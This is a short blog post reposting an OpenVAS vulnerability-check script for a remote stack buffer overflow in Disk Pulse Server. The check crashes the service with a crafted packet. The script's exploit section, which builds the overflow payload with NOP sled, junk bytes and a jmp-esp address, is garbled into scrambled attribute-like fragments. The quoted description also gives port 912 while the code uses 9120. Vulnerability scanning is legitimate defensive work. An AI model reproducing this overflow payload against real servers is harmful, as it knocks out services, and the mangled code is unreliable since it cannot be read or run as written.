Saturday, September 2, 2017

"Successful exploitation will allow attackers to cause a stack-based buffer overflow via a specially crafted packet sent to TCP port 912 which results in denial of service condition..No solution or patch was made available for at least one year since disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one." "This host is running Disk Pulse Server and is prone to remote stack buffer overflow vulnerability"

if(description)
{
  script_id(801528);
  script_version("$Revision: 5306 $");
  script_tag(name:"last_modification", value:"$Date: 2017-02-16 10:00:16 +0100 (Thu, 16 Feb 2017) $");
  script_tag(name:"creation_date", value:"2010-10-22 15:51:55 +0200 (Fri, 22 Oct 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("Disk Pulse Server Stack Remote Buffer Overflow Vulnerability");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/15238");
  script_xref(name : "URL" , value : "http://securityreason.com/exploitalert/9258");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (c) 2010 Greenbone Networks GmbH");
  script_family("Buffer overflow");
  script_dependencies("find_service.nasl");
  script_require_ports(9120);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}


## default server port
dpPort = "9120" ;
if(!get_port_state(dpPort)){
  exit(0);
}

if(!safe_checks()){
  exit(0);
}

## Open TCP Socket
soc = open_sock_tcp(dpPort);
if (!soc){
  exit(0);
}

for(i=0; i<3 218="" 256="" 9120="" after="" ascii="GetServerInfo.
  packet_header =(" buffer="" byte="" bytes="" construct="" constructed="" crafted="" data:packet="" eip="" esp="" exit="" exploit="" font="" i="" if="" jmp="" junk="" length:12="" length:218="" length:256="" nops="" of="" on="" open="" packet="packet_header" port="" reach="" request="" security_message="" send="" sleep="" soc="" socket:soc="" socket="" string="" structure="" the="" to="" try="" via="" ws2_32.dll="" x02="" x41="" x47="" x49="" x53="" x65="" x66="" x6e="" x6f="" x72="" x74="" x76="" x90="">

http://plugins.openvas.org/nasl.php?oid=801528

No comments: